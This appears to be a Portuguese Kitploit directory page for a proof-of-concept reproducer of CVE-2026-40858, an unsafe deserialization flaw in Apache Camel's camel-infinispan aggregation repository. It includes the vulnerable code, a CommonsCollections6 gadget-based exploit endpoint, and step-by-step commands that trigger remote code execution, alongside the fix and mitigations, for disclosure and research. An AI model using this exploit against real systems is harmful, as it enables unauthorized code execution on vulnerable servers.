Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40858 — Reprodutor para CVE-2026-40858 — desserialização insegura do repositório de agregação remota do Apache Camel camel-infinispan (RCE) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40858
Análise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHuboscerd/cve-2026-40858

CVE-2026-40858

Reprodutor para CVE-2026-40858 — desserialização insegura do repositório de agregação remota do Apache Camel camel-infinispan (RCE)

Ver Repositório
12há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodutor de Desserialização Insegura do Repositório de Agregação Remota camel-infinispan (CVE-2026-40858)

Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-infinispan do Apache Camel, identificada como CVE-2026-40858. O repositório de agregação remota baseado em ProtoStream serializa cada Exchange agregado em um cache Infinispan remoto e, ao ler uma entrada de volta (em get() / recover()), faz a desserialização com java.io.ObjectInputStream e sem ObjectInputFilter. Um atacante que consiga gravar no cache de suporte pode plantar um objeto serializado especialmente criado e obter execução remota de código na próxima vez que o repositório ler essa chave.

Aviso de segurança: https://camel.apache.org/security/CVE-2026-40858.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-infinispan (repositório de agregação remota / HotRod)
Classe Afetadaorg.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[])
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução Remota de Código (RCE)
Versões AfetadasDe 4.0.0 até antes de 4.14.7, de 4.15.0 até antes de 4.18.2, de 4.19.0 até antes de 4.20.0
Versões Corrigidas4.14.7, 4.18.2, 4.20.0
JIRACAMEL-23322
RelatorFeng Ning (Innora Pte. Ltd.)

Detalhes Técnicos

O InfinispanRemoteAggregationRepository armazena cada Exchange como um DefaultExchangeHolder. Com o marshaller ProtoStream, esse holder é adaptado pelo DefaultExchangeHolderProtoAdapter, cujo primeiro campo ProtoStream é o holder serializado com um ObjectOutputStream comum. Ao ler de volta, o adaptador reconstrói o holder passando esses bytes para DefaultExchangeHolderUtils.deserialize:

root@kitploit:~
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // NO ObjectInputFilter
}

O ClassLoadingAwareObjectInputStream amplia, em vez de restringir, o conjunto de classes resolvíveis, portanto o readObject() instanciará qualquer cadeia de gadgets presente no classpath. Como os bytes vêm diretamente do cache remoto, qualquer pessoa que possa gravar essa chave de cache controla o fluxo de desserialização — e o gadget é acionado durante o readObject(), antes que o valor seja sequer convertido para DefaultExchangeHolder.

A configuração da vítima

Uma rota (ou, como aqui, código de aplicação) usa o repositório de agregação remota apoiado por um servidor Infinispan:

root@kitploit:~
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // points at the Infinispan server

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)

Qualquer get() / recover() em uma chave cujo valor armazenado foi adulterado aciona o sink.

Estrutura do repositório — onde o código vulnerável é executado

O código Camel vulnerável é executado na aplicação (no host); o servidor Infinispan é executado em Docker como o armazenamento de suporte com o qual o repositório se comunica. Isso reflete como o repositório é implantado na prática: os dados não confiáveis residem no cache compartilhado.

root@kitploit:~
CVE-2026-40858/
├── pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml      # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── InfinispanRepoService.java   # builds + starts InfinispanRemoteAggregationRepository
    │   ├── Gadget.java                  # CommonsCollections6 gadget, fired during readObject()
    │   └── ExploitController.java       # /exploit/attack: plants a gadget-bodied holder, then reads it
    └── resources/
        └── application.properties

Nota sobre a simplificação do PoC. Um atacante real grava os bytes maliciosos diretamente no cache Infinispan compartilhado. Para manter o reprodutor autocontido, /exploit/attack planta o valor por meio do mesmo repositório (repo.add(...) com um gadget como corpo do Exchange) e então chama repo.get(...) para acionar a leitura. O sink que executa o gadget é o próprio readObject() do Camel, exatamente como seria acionado em qualquer entrada de cache adulterada por um atacante.

Pré-requisitos

  • Java 17+ e Maven 3.8+
  • Docker (executa o servidor Infinispan)

Passos de Reprodução

Passo 1: Iniciar o servidor Infinispan

root@kitploit:~
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200

Passo 2: Compilar e executar a aplicação vulnerável

O gadget CommonsCollections6 é montado em tempo real via reflection em java.util, portanto a JVM deve ser iniciada com --add-opens java.base/java.util=ALL-UNNAMED:

root@kitploit:~
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar

Passo 3: Acionar a desserialização (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE proof — /tmp/pwned exists: true

/tmp/pwned é criado pelo gadget (touch /tmp/pwned) enquanto o repositório desserializa o valor de cache plantado.

Limpeza

root@kitploit:~
docker compose down
rm -f /tmp/pwned

Vetores de Ataque

Qualquer implantação que use InfinispanRemoteAggregationRepository (marshalling ProtoStream) contra um cache no qual um atacante possa gravar. O acesso de gravação ao cache pode vir de um cluster Infinispan compartilhado/multilocatário, de um endpoint HotRod acessível pela rede ou de qualquer outro produtor que deposite dados no mesmo cache.

Condições de Exploração

  1. Um repositório de agregação remota camel-infinispan lendo de um cache no qual o atacante pode gravar.
  2. Uma biblioteca de gadgets no classpath (aqui commons-collections:3.2.1).

Correção Recomendada

Atualize para 4.14.7 / 4.18.2 / 4.20.0. A correção aplica um ObjectInputFilter / lista de permissões de classes à desserialização do holder, correspondendo ao endurecimento aplicado aos outros repositórios de agregação do Camel (camel-leveldb, camel-cassandraql, camel-jms) e ao camel-mina / camel-netty.

Mitigação

Até atualizar:

  1. Trate o cache Infinispan como um limite de confiança — restrinja quem pode gravar no cache de agregação.
  2. Remova bibliotecas de gadgets do classpath (atualize/remova commons-collections 3.x e similares).
  3. Mantenha o endpoint HotRod do Infinispan em uma rede confiável com autenticação habilitada.

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta